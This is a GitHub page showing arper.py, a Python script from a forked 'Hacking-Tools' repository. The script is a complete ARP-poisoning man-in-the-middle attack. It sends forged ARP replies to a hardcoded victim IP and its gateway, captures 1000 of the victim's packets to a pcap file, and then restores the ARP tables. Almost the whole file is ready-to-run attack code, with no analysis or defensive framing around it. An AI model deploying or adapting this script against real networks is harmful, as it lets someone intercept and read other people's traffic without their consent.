forked from aw-junaid/Hacking-Tools
-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy patharper.py
More file actions
128 lines (101 loc) · 3.02 KB
/
arper.py
File metadata and controls
128 lines (101 loc) · 3.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from kamene.all import *
import sys
import threading
import time
interface = "en1"
tgt_ip = "172.16.1.71"
tgt_gateway = "172.16.1.254"
packet_count = 1000
poisoning = True
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
# slightly different method using send
print("[*] Restoring target...")
send(ARP(op=2,
psrc=gateway_ip,
pdst=target_ip,
hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=gateway_mac),
count=5)
send(ARP(op=2,
psrc=target_ip,
pdst=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=target_mac),
count=5)
def get_mac(ip_address):
responses, unanswered = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address),
timeout=2,
retry=10
)
# return the MAC address from a response
for s, r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
global poisoning
poison_tgt = ARP()
poison_tgt.op = 2
poison_tgt.psrc = gateway_ip
poison_tgt.pdst = target_ip
poison_tgt.hwdst = target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
print("[*] Beginning the ARP poison. [CTRL-C to stop]")
while poisoning:
send(poison_tgt)
send(poison_gateway)
time.sleep(2)
print("[*] ARP poison attack finished.")
return
# set our interface
conf.iface = interface
# turn off output
conf.verb = 0
print("[*] Setting up %s" % interface)
tgt_gateway_mac = get_mac(tgt_gateway)
if tgt_gateway_mac is None:
print("[!!!] Failed to get gateway MAC. Exiting.")
sys.exit(0)
else:
print("[*] Gateway %s is at %s" % (tgt_gateway, tgt_gateway_mac))
tgt_mac = get_mac(tgt_ip)
if tgt_mac is None:
print("[!!!] Failed to get target MAC. Exiting.")
sys.exit(0)
else:
print("[*] Target %s is at %s" % (tgt_ip, tgt_mac))
# start poison thread
poison_thread = threading.Thread(target=poison_target,
args=(tgt_gateway,
tgt_gateway_mac,
tgt_ip,
tgt_mac)
)
poison_thread.start()
try:
print("[*] Starting sniffer for %d packets" % packet_count)
bpf_filter = "ip host %s" % tgt_ip
packets = sniff(count=packet_count,
filter=bpf_filter,
iface=interface
)
# write out the captured packets
print("[*] Writing packets to arper.pcap")
wrpcap('arper.pcap', packets)
except KeyboardInterrupt:
pass
finally:
poisoning = False
# wait for poisoning thread to exit
time.sleep(2)
# restore the network
restore_target(tgt_gateway,
tgt_gateway_mac,
tgt_ip,
tgt_mac
)
sys.exit(0)